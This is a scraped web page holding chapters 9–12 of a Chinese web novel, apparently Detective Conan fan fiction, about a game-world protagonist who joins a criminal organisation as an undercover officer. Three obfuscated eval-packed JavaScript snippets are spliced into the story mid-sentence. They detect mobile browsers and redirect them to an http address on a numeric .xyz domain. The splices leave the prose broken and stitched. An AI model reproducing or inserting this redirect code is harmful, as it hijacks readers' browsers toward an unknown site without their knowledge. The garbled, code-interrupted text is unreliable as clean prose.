$(''#content'').append('' 您效劳。”诸伏景光声线平静,虽然看起来这样的作为像是竭尽所能的给上司跑腿做事,试图通过这样的方式增加好感向上爬。可诸伏景光却表现的光明磊落,这样丝毫没有半点问题的样子。 至于是否让田纳西自己下厨做饭,学习厨艺,这种话但凡是情商在线的人多数都不会向顶头上司这么说的。日本社畜的职场比较压抑,上下级的尊卑泾渭分明,普通公司都如此,更别提非法组织了。因此这样的建议,诸伏景光想都没想就直接就直接舍弃了。 “很好,绿川,我待会儿会给安室发一封邮件,到时候你联系他,他会告诉你的,地址你也一块跟他要。”原月见很满意,找到了一个能做饭的厨师,他再也不用点外卖或者出去吃了。 “我也不需要你那么麻烦,一天来三次,你多做一点直接打包给我,到时候我会自己拿微波炉热一热的。”原月见还记得当个人,没有太过分,免得这个下属哪天连自己的命也不要也要取他小命。 诸伏景光自然答应,他本来连一天跑几趟的心理准备都做好了,只要组织这边没有任务,他就多往田纳西那里跑,看看能不能试探出什么有用的情报。没想到田纳西没有那么麻烦,不过这样也好,能给诸伏景光省很多事。 原月见雷厉风行,交代完任务就直接挂断了电话,既不叙旧也不寒暄,这倒给了诸伏景光恢复一下麻木的神经所需要的时间。 由于原月见的动作太快,中间间隔的时间不久,降谷零还没能来得及找机会联系诸伏景光。因此诸伏景光还不知道原月见为了什么先找了降谷零,心中存有几分疑惑还夹杂着一些担忧。 原月见不知道这些卧底会想那么多,试图为他做的每一件事和说的每一句话都做阅读理解。他心情愉快,觉得现在就算是琴酒站在他面前,他也能对琴酒露出一个微笑。 听到了原月见的感慨后,系统直言不讳,「你这样只会让琴酒觉得是贝尔摩德批了你的马甲出现,或者你的被害妄想症更加厉害,终于变成真正的精神病了,然后琴酒就会趁机向boss报告,干脆把你一直关在实验室。」 “琴酒看我不爽也不是一天两天了,这是他的问题,又不是我的问题。他要是心胸宽阔一点,也不至于天天被气了。” 这话原月见说的格外丝滑,他的生活已经够一波三折了,来到这个世界没有几天是好日子,天天绷着一根神经,正常人也都得疯。因此原月见学会了自我开导,少反思自己,多责怪别人,这个世界就会美丽的多。 至于其他人的世界因此变得倾盆大雨,五雷轰顶,这就不关他的事了。 「你就是故意的吧,明明一开始还像模像样,琴酒还想对你颇为赏识。」系统说道,它跟了原月见在那么久,早就对宿主的性格了如指掌。 系统觉得琴酒现在一定觉得自己眼瞎,才会对原月见产生了错觉,还把这当黑历史。 9. 第 9 章 系统的资料库里至今还保存着当时原月见和琴酒最开始见面的情景。 原月见不是主动加入的组织,虽然在警校毕业后,归属了警察厅公安部,还被派去组织成为卧底。但对于原月见而言,这一切不过是他随心所欲的做出一个决定。 虽然原月见美名其曰,说是要多学几门技术保命防身,以及在警察学校犯罪率至少不会像外面那么离谱,这个地方就像加上一层法律震慑的buff,震慑了犯罪者的心思。加上这里本来就是经过选拔的人,虽然不是所有人都能称之为绝对的正义,或者正义的伙伴,但大部分人还是有朴素的且较强的道德观念,否则也不会来当警察。 原月见实在是被频发的案件弄得心烦,那个时候他刚在这个世界待了半年,没有身份信息,只是个黑户,身无分文。还要在这种情况下面对多发的案件,被当做受害者或者是犯罪嫌疑人叫去警署。多亏日本在身份信息这方面比较宽松,也没有类似的身份证的东西,那个时候原月见看起来像个高中生或者大学生,也无从谈起驾照这种充当身份证的身份证明,所以总是能糊弄过去。 虽然不是日本人,但日本也有原这个姓氏,多少还能以日本人的身份装一下。 否则如果原月见被发现不是日本人,那么还要调取外国人的信息,这么一查他没有护照,根本查无此人,事情只会更加麻烦复杂。 进入这个世界后,原月见就遇到了bug。系统无法加载,他也无法脱离这个游戏,更不能确定如果死亡是否还能回档复活,只好一个人想办法生活。 那段时光简直不堪回首,以至于系统上线后,面对原月见的冷淡的神色都不禁为此心虚。 虽然系统有时吐槽过分犀利,原月见对此也毫不客气,但系统倒是清楚他不觉得这些吐槽是冒犯,反而把这种交流视作一种解压方式。 系统上线第一件做的事情,就是原月见让它去做了一份新的身份资料。这次系统没收钱,当做是补偿的一部分,不过当它开始办资料的时候,原月见却说:“没必要录我的真实信息,去办个日本人的身份吧,我想拿着这份资料去考警校。” 系统虽然对此疑惑,但既然原月见那么要求,他就爽快的答应了,还问做成什么名字。 “就叫伊藤秀明吧。”原月见随口起了个名字,选了一个日本常见的姓氏,这样才不起眼,名字也起得中规中矩。 一开始的出生点是在京都,后来原月见干脆去了东京的警察厅大学,半年后准时毕业,因为表现突出就被派去了卧底。 警校的生活枯燥无味,原月见也和同期谈不到一块去。每天基本上就是起床上课吃饭睡觉,过着这种两点一线的生活。活动范围基本不出警校,就算放假可以允许回家,他也没有地方能去,干脆一直在待在学校里。 日本讲究人情社会,如果不合群就会非常突兀。原月见不想融入他们的圈子,向来独来独往,很少和他们打交道。就算直到毕业,他也没有认清班里的所有人。 系统其实不觉得原月见需要去警校进修保命技能,前半年这种地狱开局他也好好的活下来了。但在警校确实犯罪率会低很多,即使时不时还有案件从天而降,引起他人的侧目,但确实可以称得上安逸许多。 系统只当原月见因为之前的生活太累,想要好好休息一下,尽量远离案件。虽然在警校训练上课以及封闭式管理,其实算不上休闲,但没有那么多案件需要小心和提防,这么一对比也不算太差。 当原月见答应卧底的时候,系统一度感到震惊,甚至反复问原月见是不是觉得好玩才去卧底的?还苦口婆心的叮嘱,不管怎么样,他被困在这个世界,在离开之前生命都只有一次,不要把自己给作死了。 系统也觉得原月见十分矛盾,有时候提防案件格外小心,可又会像不怕死一样去做一些危险的事。就像在悬崖上走钢丝的人,明明知道走错一步就会掉入万底深渊,却还会享受那份刺激感试图挑战。 即使接受了卧底任务,但原月见仍旧表现的跟个没事人似的。公安给他造假资料,这个时候原月见倒是让公安以自己的真名造了一份假资料。 就连系统都忍不住质疑,认为这样做是不是过于危险。毕竟这只是用来卧底的假资料,而原月见却直接把自己的真实姓名用上了。除非以后卧底结束,之后不再使用这个名字。 “你是觉得我会被困在这个游戏里一辈子吗?”原月见问道。 「不,当然不会。」系统连忙否定,试图作出解释,「我们会尽快修复的。」 “那你担忧那么多干什么?”明明是十分重要的决定,原月见却表现的好像谈今天该吃什么一样漫不经心。 “就算我被一直困在这里,无法回去,也不影响我做出这个决定。”虽然说的随意,声音的主人却透露出一种不容置疑的意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14889056|159915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 味。 “更何况我本来就是为了有趣才来玩的游戏,虽然变故丛生,但如果因此失去了所有的乐趣,那才得不偿失。” 当时系统还没有理解这句话,直到原月见后来加入了组织,它才恍然大悟。 原月见之所以加入组织,是由琴酒发现并招揽了他。 琴酒第一次见到原月见时,这份初遇其实并不美好。 被追杀的组织叛徒在逃亡的过程中终究还是暴露了痕迹,被清道夫嗅着味道一路追踪过来。 那是一个雨天,如果是假期,大部分人会选择留在家里,而不是感受窗外刺骨的寒风和冰凉的雨滴。但对于工作中的人而言,他们别无他选,只能冒雨上班。 细密的雨水打在身上,衣物被浸湿的感觉让人颇为不爽,一般人在这种情况下早就满心抱怨,但琴酒却是个例外。 外面的风雨只会让琴酒猎杀的心情更为强烈,打猎的猎人不会因此半途而废,铩羽而归,真正的猎人只会将其当成一个考验,反而更加兴奋。 而琴酒就是真正的猎人,迫不及待的想要取走猎物的性命。当他一步步沿着线索找到猎物的时候,却发现猎物早就被人得手。 破败的小巷鲜有人经过,墙皮早已风化剥落,露出里面破败不堪的砖块,附近是废弃正在等待拆除的宅邸。落在人的视网膜上,只会让人下意识移开眼睛,不想被这陈旧到丑陋的场景污染眼睛。 但比起地上已经被胸口浸出的鲜血染红了衣物的尸体,反而是穿着整齐却也被大雨打湿的少年更加格格不入,外貌昳丽,绸缎般的黑发垂在耳边,金色的眸子比黄金更为夺目,比日光更加璀璨。 但琴酒在意的不是对方的外貌,而是那双眼睛透露出的情绪。 尸体汩汩的血液几乎快要流干,融入了地面上向外奔腾的雨水,最终淌入了肮脏的下水道。但金眸的少年脸上却透露出一种足以打破这幅死亡场面的好奇。 琴酒见过这种情绪,无知的孩童会摆弄受伤的小鸟,就算小鸟死去,也会观察小鸟死亡的模样,或许会用树枝戳一戳小鸟的尸体,这样既不会弄脏自己的手,又能仔细观察。 一切都透露着纯真,只是天性的好奇和残忍,而这种天性完美的复刻在了少年的身上。 琴酒早就掏出了伯|莱|塔手枪,冷冷对着地上的半蹲着观察尸体的少年,“交代你自己的身份,都做了什么。” 10. 第 10 章 即使被人用枪指着,黑发金眸的少年表情依旧镇定。似乎是蹲的有点久了,他干脆站直身子,琴酒的枪早已打开保险栓,按在板机上的手指微微下压,处于随时可以射击的状态。 “我只是一个倒霉路人而已。”原月见没有做出更危险的举动,拉长了尾音,“唉,我只是暂时没有地方可以住,想找找附近有没有其它可以租借的公寓,结果就被人误当做敌人,还差点杀了我。” 这话可是实话,原月见只是出去一趟,结果公寓就被人放火烧了。一问原因是闯空门的小偷没想到主人在家,冲动杀人,结果受害者家里正在做饭的煤气没关,一下子引发了火灾。 偏偏房屋还是木质结构,火势蔓延的很快,加上是工作日的白天,即使后来有人打消防电话,试图扑灭大火,但原月见现在也无地落脚,只好出门找下家租房。 本来只是随处逛逛,原月见想看看有没有便宜的房源,免得租金一交,还没住多就得找下家。 这附近的街道位置相对偏僻,不少宅邸等着拆毁重建,未来这里将打造一条新的商业街。但也有些房屋尚能住人,所有者打算将其便宜租出去,挣一点钱算一点。 路过小巷,原月见不知道他给那个黑衣人造成了什么错觉,以为他是敌人,想先下手为强袭击他。 即使已经及时侧过身体,子弹几乎是擦着原月见过去的,但手臂的衣物依旧被轻微擦过,留下了细微的痕迹。 眼见一击不成,对方还想再补第二枪,但空枪带来的焦虑不免影响了对方,让射击的人停顿了些许。原月见抓住这个机会,不仅不退,反而逼身上前,直接与对方搏斗,打斗之间顺手夺走了对方的枪支。 对方见状冷汗淋漓,试图求饶,但原月见眼尖的注意到了他掏向内侧口袋的手,衣物微微鼓起,观察鼓起的形状,原月见没给对方机会,直接开了枪。 小巷的空间狭隘,还被原月见堵住了出口,没有逃离的可能。随着一声细微的声响,黑衣人的身体倒地不起,脸部的正面朝着天空,血液汇聚成小小的溪流。浓郁的血色很快被大雨冲刷殆尽,只留下淡淡的浅红,依稀证明血液曾经的存在,而被血液染红的衣物颜色却倔强一些。 “拿了两把手枪,还装了消音器。”原月见遭遇这场无妄之灾,眉眼露出淡淡的厌烦。 「你刚刚表情阴沉的想杀人,他看错以为你是敌人,也不算太离谱。」系统有话直说,它倒是能和躺在地上的尸体产生共情。 原月见倒是并非完全厌恶所有案件,他也能享受从中获得的一些乐趣。但当案件过于频繁,影响了他的生活质量,威胁了他的性命,这个时候他就不会从中感到乐趣,只会负面情绪滋生。 之所以如此厌恶案件的频发,也有相当一部分原因是打破了原月见对生活的规划,他讨厌这样的不受控制。 系统对此心知肚明,因此当原月见心情不爽时,它都不敢触他的霉头。如果有人在这种时候不长眼的惹了原月见,系统相信他完全会做出一些可怕的行为。 当原月见面色不快,像是刚被人得罪过似的,黑衣人见到这样的原月见,下意识的应激攻击他,系统不是不能理解。 不过系统还是向着自家宿主的,更何况死的是一个试图开枪袭击宿主的人,它也没太在意,甚至为此庆幸,还好装了消音枪,附近人烟稀少,虽然有点声响,但是也不至于引起其他人的注意。 这人选的地点既合适又不合适,虽然适合逃命,但是被杀了也不会被人发现。 既然开了枪,那么要做的第一件事自然是清理痕迹。原月见百无聊赖,干脆伏下身体,近距离观察着尸体。 “无论看过多少次尸体,都逼真的不可思议。果然不愧是号称以真实体验感为卖点的游戏,如果不是无法离开,这钱确实花的很值。” 系统为他这孩子气的举动感到无语,连忙催促,「你赶紧收拾收拾,免得待会儿有人撞见,这人是你干掉的,真进了警署都没法解释。」 “这种逃命的亡命之徒。”原月见十分感叹,“日本真是不安全,非法组织的成员都这么嚣张。” 即使系统催促,可原月见似乎走了神,没有搭理它。正当系统着急的时候,巷子里突然来了一个身着黑色长风衣,银色长发,面容冷峻的高个子男人,一米九多的身高在俯视着他人时格外有压力。 「早就让你走了,你看现在来人了吧。」系统有些崩溃。 由于外人在场,原月见没有开口,而是在脑海中慢吞吞的和系统交流,「反正来的又不是警察,不用着急。」 「怎么可能不着急,我看那个歹徒是想一枪崩了你的样子。」系统几乎口不择言,它认出了来人,知道琴酒下手狠辣,几乎不留活口,心情愈发紧张。 听到琴酒的质问后,原月见给出了不符合眼下紧绷氛围的轻快回答,琴酒紧皱眉头,发出一声冷笑,“路人能直接开枪击杀一个经过严格训练的人吗?” “怎么不能?”原月见笑意吟吟,“说不定我就是那种天才,或者是被幸运女神眷顾的人,所以我赢了,他输了。” 黑发的少年看起来有种分外的年轻感,让大多数人见到他的第一印象都是这是个没毕业的学生。但琴酒不会被表象所迷惑,锐利的眼睛如同老鹰观察猎物,透过这具在他人眼中算得上赏心悦目的皮囊看到了更为本质的一些事物。 “一直举着枪不累吗?”原月见发出了抱怨,“我可是等了你们很久了,在这里和尸体为伍,我都无聊的差点睡着了。” 琴酒冷哼,没兴趣和他打太极,“直接说出你的目的。” “好吧好吧。”原月见大大方方,“我看这人在躲避追杀,反杀了他之后,我就想着说不定可以找个工作机会,直接加入你们。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14889057|159915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 琴酒保持了惯常的警惕,目光紧紧的盯着他,没有丝毫遗漏他脸上的表情变化,嘴上也没停着,“不是什么货色都能加入组织。” 原月见指了指地上的尸体,质疑道:“你确定吗?这人不是你们组织里的人吗?他都能加入,我为什么就不行。” 琴酒沉默了半秒,几乎难以被人察觉,冷声开口:“你加入的理由。” 黑发金眸的青年露出了一个微笑,看起来既真诚又危险,冲刷了本来在他身上的那种年轻感,也让琴酒敲响了心中的警铃。 “当然是为了钱啊。”原月见说的爽快,“要不然还能是为了什么?我喜欢钱,钱越多越好,没有多少人会嫌自己的钱太多不想要吧?” 原月见的这一席话,给出的理由确实是加入组织的人常见的理由,除了被威胁加入组织的人,更多的人还是因为金钱、权力、地位等各种利益,出自于自愿,否则组织也不会壮大到这种地步,成为徘徊在日本黑暗处的阴影。 “既然你们组织都非法了,钱怎么说也赚的更多吧?我喜欢这种来钱快的工作,既然遇到了机会,就要牢牢抓住,这种道理你也明白吧?”原月见说的坦坦荡荡,面上一点心虚之意也没有,似乎全然出自于本心的实话。 琴酒面色稍缓,倒是对眼前的少年起了几分欣赏之意,有能力在对方持枪的情况下反杀,毫不犹豫的开枪,杀人之后还能有这样的心理素质,给出的理由也很正当。虽然还不确定对方的来路,不过琴酒愿意给他一个机会。 如果对方真的像他所说的那样,能够抓住机会,自然可以加入组织,保住性命,如果抓不住,无非就是一死。 琴酒要了原月见的联系方式,通过琴酒,原月见搭上了组织的线,摇身一变成了组织的外围成员。 系统目瞪口呆,终于明白宿主为什么没有像平时那样远离危险源头。原月见在心中和系统说道,「你看,这不就加入了组织吗。」 目标完成的如此轻易,原月见对琴酒点了个赞,「那个长头发可真是个好人。」 系统反应过来后,忍了又忍,终究还是没有忍住,「他要是听到你这么说,估计当时就直接给你一枪,不会让你再加入组织了。」 「所以我只是私下里这样和你说呀。」 「我觉得你以后可能不会这么想了。」系统捋了捋琴酒的性格,又想到了原月见平时一贯的作风,因此分外诚恳,「他看起来就不像会养废物和闲人的样子,你那个摸鱼劲,估计他根本看不下去。」 「我怎么就是摸鱼了?我这叫高效率利用时间,用最短的时间完成工作,那剩下的时间凭什么不能用来休息?」原月见理直气壮。 系统不想和他争辩这个,一开始它压根没想到原月见会同意公安部的要求,真的加入组织,这才是系统最为震撼的地方,系统还以为他只会找借口混薪水。 11. 第 11 章 系统一语成戳,琴酒简直把自己当成了组织BOSS,真正的BOSS都未必有他那么积极。既然把原月见招揽进了组织,就毫不客气的分派给他任务,由于变相被分到了琴酒手下,他有一段时间是跟着琴酒的工作强度来的。 虽然原月见在一开始还愿意装装样子,但很快他就丧失了耐心。无他,琴酒实在太卷了,别人睡觉琴酒摸黑做任务,别人休假琴酒在出国追杀叛徒的路上,别人能偷懒摸鱼琴酒却会拿枪指着偷懒的人,总而言之,想要享受生活的人不建议碰到琴酒这样的上司。 至今为止,原月见都不知道伏特加为什么这么想不开跟着琴酒混,看看人家贝尔摩德,出去接任务也不影响人家吃喝玩乐,这才是人生。再看看伏特加,又是当司机又是跑腿,生活二十四小时围着琴酒转,随叫随到,原月见看了都要为琴酒的黑心肠而痛心。 「这种时候就不要提伏特加了,分明就是你看琴酒不顺眼吧。」系统看不惯原月见扯大旗的行为,义正言辞指出本质。 原月见若无其事的揭过这一页,随后语气沉重:“我真有点后悔了。” 「早就说了,琴酒那人你肯定受不了,看吧。」 “所以我得从琴酒身边调走,至少要离他远一些。” 「你确定?虽然琴酒时不时拿枪指着你,但他还是很欣赏你的能力,不过我猜他肯定希望你的能力和伏特加的性格可以结合在一起,这样一加一肯定大于你们两个。」 难得原月见露出被恶心到的表情,“别说这种让人恶心的话。” 「我敢打赌琴酒肯定产生过这种想法。」不过系统也没再扯着这个话题不放,它还不想因此真的得罪了原月见,「你确定要调走?按照这个任务频率,你调走之后未必能那么快获得代号了。」 “我当然确定,非常确定。”原月见已经受不了琴酒了,在他的个人享受面前,别说代号了,再这样下去他必须在组织里搞个大的再跑路,至于追杀,债多不怕愁,反正他已经天天和案件打交道了,多一点少一点区别不大。 「你才和琴酒打交道两个星期。」系统有点无语,没想到原月见这么快就要准备跑路了。 “这两个星期是我来到这个世界最黑暗的两个星期。”原月见面色难看,“偏偏天天案件缠身,琴酒这个疑心病,为了不把案件闹到他的面前,我私下解决也是很累的,这两个星期堪比两个月。” 他已经感觉用光了所有的耐心,如果再看到琴酒,他觉得自己迟早会不计后果的刀了琴酒。 「……我没来那半年你怎么过的?」系统还是没忍住,开口询问。 “黑吃黑啊。”原月见说的格外丝滑,“既然案件如风,常伴我身,那么就当天上掉下来的钱,不捡白不捡。我从犯人身上抢钱,这也算替天行道了。” 「他们不报警吗?」系统呆滞。 原月见莫名其妙,“你觉得我会让他们看到我的脸吗?都黑吃黑了,还不做点准备,他们报警也没用。” 「你玩的是侦探模拟器吗?你以前是不是还玩过罪犯模拟器?」系统不知道他怎么那么熟练,多次黑吃黑还没被犯人举报成功,一时之间陷入了自我怀疑。 它怎么就没看出来呢?系统忽然又问,「那为什么我来之后你没干过了?」 “之前钱还够,暂时不缺钱,又要去警校,我哪来的机会?”原月见顺口回答,然后叹气道:“我得做点事情恶心一下琴酒,找个机会调走。” 「你准备怎么做?」 “那我向琴酒深情告白一次吧。”原月见声音轻快,似乎之前的不快一扫而空,整个人又精神了起来,兴致勃勃的思考怎么做。 「……这你就不觉得恶心了吗?」系统不懂他的脑回路,一时都被惊到了。 「你之前不是还坚信不要轻易谈恋爱,会变得不幸。还给我列举了各种因为恋爱发生的案件,并且统计了情杀案的犯罪率之高吗?」 “我又不是要和琴酒谈恋爱。”原月见嗤之以鼻,随即又露出了一个过分明媚的笑容,系统坚信,不清楚他恶劣性格的人肯定会有那么一瞬间被这副出色的皮囊蒙蔽双眼,“我只是想要搞他而已。” 「搞琴酒的心态是吗?恶心到他就算你赢了?」 原月见矜持地点了点头,“我要让琴酒明白爱情的险恶。” 「……你做个人吧,真不怕琴酒一枪崩了你吗?」系统很担心它看到原月见的尸体,真死了肯定没办法以人类的正常姿态复活,那个时候原月见估计就真的要不做人了,这又不是正常的游戏世界,哪有那么完美的复活机制。 原月见敢说敢做,丝毫不拖沓,今天做了决定,第二天见到琴酒就干脆利落地化为了行动。 至于当事人琴酒是什么心情,伏特加不知道,但他觉得原月见居然能活下来真是个奇迹。当时伏特加并不在场,事后还是从原月见本人那里得知的,伏特加墨镜都快掉地上了。 本来伏特加收到了琴酒的邮件,文字内容十分简单,「把原月见调走,之后你来全权负责他的任务。」 出于直觉,伏特加硬是从琴酒与平时不一样的用词习惯和标点符号中看出异样的地方。伏特加找到从任务现场离开的原月见后,没等他先开口,就见原月见笑眯眯的和他打招呼。 “好久不见啊,伏特加。” “昨天不是才见过了吗?”伏特加下意识说道,又想起了刚刚琴酒的邮件,立刻问道:“你和大哥发生了什么?” 伏特加满脸狐疑,琴酒突然带来个新人,还安排到了他们身边一起出任务,虽然一开始都是些琐碎麻烦的活,结果原月见都很迅速又利落地完成了任务,把本来会用到的冗长时间缩减了大半,这份高效率在一众外围成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14889058|159915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 员里可以说是出类拔萃了。 没几天时间琴酒就给原月见的任务上了难度,还一直维持着他们之前的工作强度,结果原月见都一一跟上了。只要原月见完成任务,琴酒就会无缝衔接给他安排下一个任务。 其实拖慢任务完成的时间能够趁机休息一下,这话伏特加没敢和原月见说,怕触了大哥的霉头,事后大哥找他秋后算账。结果如今看到原月见满脸笑容,伏特加就心里打怵。 虽然伏特加是拥有代号的上级成员,但不知为何,他一看到原月见,就不想和对方多加交流。大家都加入了非法组织是没错,可伏特加总觉得原月见不像正常人。 如果未来的伏特加想起现在的想法,肯定会大声赞同,原月见他就不是正常人,他真的有病啊! 随后伏特加听到了有史以来堪称核弹般的回答,原月见语带笑意:“因为我刚刚和琴酒告白了,但他好像有点害羞,一时之间不敢看到我。” “什、什么?!”伏特加结结巴巴,不敢相信有生之年竟然看到男人对大哥告白。大脑空白了片刻,伏特加很快就凭借专业的素养回过神来,立刻反驳:“大哥才不是害羞!大哥可是真男人,别说女人了,男人爱上大哥也不奇怪,大哥有这样的魅力,才不会因为你的告白就害羞,别想造大哥的谣。” 可原月见面上依旧愉快,伏特加没等到原月见的回答,却从背后传来一道阴郁冷然的声音:“伏特加,你在做什么?” 明明身材高大,伏特加却觉得此刻的他格外无助,伏特加僵着身体,脖子咯吱咯吱的转过去,看到了琴酒表情恐怖,眼神中带着杀气,似乎伏特加再乱说一句话,就会直接崩了他。 “对不起大哥!”伏特加赶忙道歉,低下了头,满心惶恐,又暗自给原月见记了一笔。如果不是原月见,他怎会如此,这样直面大哥的怒火,伏特加觉得这几天他恐怕是没好日子了。 琴酒冰冷可怕的视线又扫过了黑发金眸的少年,如同雕刻的雕像般冷峻锋利的面容此刻满是阴沉,看到原月见一脸带笑,琴酒的心情更是不愉。 “别让我再看到你,下次你可不会再有活命的机会了。”琴酒扔下了这句话直接转身离开,一分一秒都不想再看到原月见。 等琴酒离开后,原月见才慢悠悠的开口:“你看,机会这不就来了吗?”他伸了个懒腰,满心准备回到住所躺在床上休息几天。哪怕是回去的路上碰到了想要抢劫他财物的抢劫犯,原月见都好心情的没有下狠手,只是掰断了对方的手腕,又将犯人捆到了电线杆上,并贴了一张“这是抢劫犯”的纸条,报了警就直接回家,丝毫不打算再管后续。 亲眼目睹一切,并且见证原月见向琴酒震撼告白场景的系统觉得它越来越看不懂人类了,琴酒居然真的没有开枪?自家宿主这么作,居然至今安然无恙,难不成运气其实是站在宿主这边的吗? 12.第 12 章 自打那通告白一出,原月见很长一段时间都没有再见过琴酒,琴酒似乎是不想再看到他的脸,免得回想起不快的回忆。 这种做法反而正中原月见下怀,调离了琴酒身边后,原月见过的轻松自在多了,生活一度可以称得上如鱼得水。 而如今在原月见将降谷零和诸伏景光都用电话打发完后,降谷零和诸伏景光趁机接了头,试图交换彼此的情报。 既然田纳西说了让诸伏景光找降谷零询问具体的信息,那么打听田纳西和降谷零究竟说了什么也不算是情报外泄。 “田纳西不喜欢别人对他说敬语?”诸伏景光细长的眉毛皱起,不是很能理解这番话。 一般日本人不会有这种想法,从小在等级分明、礼节繁琐的社会环境中长大,这些已经融入了日常生活的一部分,就像生活在水中的鱼很难会感到窒息的感觉。除非是少部分叛逆的人群,厌恶这些条条框框,试图从中脱出,刻意做出打破常规的举动。 降谷零点了点头,神情也充满了揣测,“或许田纳西不是日本人,我们可以从这个方向出发。既然是在日本,那么可能是持有护照的外国人,等我们之后想办法记录他的长相,借此调查他的真实身份。” 虽然这么说,可诸伏景光和降谷零对此持有的希望不大。凭借田纳西沟通时流畅的日语,找不到丝毫的破绽,就算造假了日本人的身份借此生活也毫无违和感。 而且无论找到的是田纳西的真实身份还是假身份,只能说是加强了对他的情报了解,至于掌握田纳西动向后是否真的让公安缉拿他,还是个不确定事项。 如果田纳西的价值足够大,值得他们冒着被发现卧底身份的危险,那么他们有这份牺牲自身的觉悟,可如果没有,他们不能因小失大,首要的还是卧底进入组织真正的核心,找到更多有用的情报。 降谷零又将自己的手机递给了诸伏景光,手机的屏幕正亮,上面明晃晃的展示着田纳西发给他的清单。 诸伏景光接过了手机,将界面不断向下滑动,界面翻滚的同时,他的嘴角不禁抽搐。 这份清单很长很长,可能对于田纳西本人而言,简直是事无遗漏。 各种七零八碎的东西都标了出来,要买的各款新式游戏机、手办周边、漫画合集,还有各种水果零食,以及换季的一些衣物。 游戏都是挑着限量新款,不去专门排队根本抢不上。手办周边也是,需要和一大堆厨力放出的人竞争。那些水果还标明了指定地点,专门挑日本农协贵的买。甚至田纳西还贴心的把他需要的衣服尺码型号都写上了,最后还标了一句:不用担心花钱,到时候拿好发票,去找伏特加报销就行,他会给你联系财务部的人。 最后田纳西甚至把一句话单独留了个段落:千万不要给组织省钱,不要像琴酒一样抠门!!! 这是田纳西生怕他们偷工减料是吗?害怕他们给组织省钱,像琴酒一样抠门?最后甚至还用了三个感叹号。 看完后诸伏景光沉默良久,发出了一声振聋发聩的感叹: “他还真不拿我们当外人啊?” 怎么还有男人让其他男人帮他买衣服?尺码都标上了,虽然都是换季的一些常服,没有隐私的衣物,但还是让诸伏景光感觉分外古怪。 田纳西的边界感真是一个谜,诸伏景光突然有点不敢去田纳西家了。生怕他一进去,田纳西都能让他帮忙搓澡。 说着说着,诸伏景光突然不敢想象他之后面对田纳西的生活了。再联想一下伏特加的满脸隐忍,以及琴酒提到田纳西时那不耐烦的神情,诸伏景光只觉得前途无亮。 降谷零发现诸伏景光忽然变来变去的神色,知道自家发小想了很多。事实上在找hagi之前,降谷零也在脑海里也过了一遍类似的心路历程。 降谷零和诸伏景光还产生了更多的联想,田纳西做事这么不着调,依旧在组织活蹦乱跳,甚至看起来有种为所欲为的姿态。而这样琴酒都对此视而不见,伏特加还一退再退,田纳西到底有什么价值? 降谷零艰难开口打破沉默,“不管怎样,田纳西把他的住址发给了我们,还把自己的喜好透露出来,给了我们很多他个人的情报,这也算是信任的代表。” 诸伏景光发出了灵魂一问:“那他的信任好像不是很值钱的样子。” 这句回答彻底把降谷零整得更沉默了,本来想安慰自家发小,结果却起了反作用,降谷零觉得他现在可能也需要一点语言上的支持了。 见状,诸伏景光揉了揉眉心,重新冷静下来,安抚道:“放心,zero,我已经做好了觉悟。而且这算不上危险,没有生命威胁,不如说只是需要应付田纳西,又不是杀人,还是很简单的。” 闻言,降谷零只好说道:“我相信你,hiro。”虽然这可以说是种精神折磨,但是论起程度,至少目前看来只是单纯的有些折腾人? 两人一通讨论后,很快就分配好各自的“任务”,这份由田纳西布置下来的长长清单。并在这上面上花了好一通时间,甚至降谷零细算,这份时间的投入勉强次于之前那个组织下达的正式任务了。 就算是他们,都没想到加入组织还能遇到这样鸡零狗碎的事。一时都不知道这是田纳西的个人特色还是组织的独特风格了,当和其他组织成员打交道后,降谷零和诸伏景光才确定这纯粹是田纳西的独特配方,他就是这么与众不同。 等他们花费了一通时间完成后,很快发了封邮件提前和田纳西约定了上门的时间,田纳西则是不冷不热地只回了个“OK”。 到了田纳西的公寓后,降谷零和诸伏景光礼貌地敲了敲门,门内却久久没有回应,让他们本来做好的心理准备此刻又七上八下起来,下意识思忖田纳西又打的什么算盘。 降谷零率先拨通了田纳西的号码,却迟迟没有人接听。一向多疑的公安卧底下意识思考田纳西是不是出事了,虽然以公安的立场,降谷零巴不得组织成员出事,奈何他现在是卧底,田纳西是他的顶头上司,即使这个上司既不值得让人尊敬,又格外不讨喜,但上司如果出事,身为组织成员,还是要发挥充分的忠诚,想办法营救田纳西。 事不宜迟,即使这可能只是他们的过度思虑,事实上田纳西只是单纯的不在家或者有事在忙不打算接他们的电话,但降谷零和诸伏景光都不打算拿自己的卧底生涯去赌。 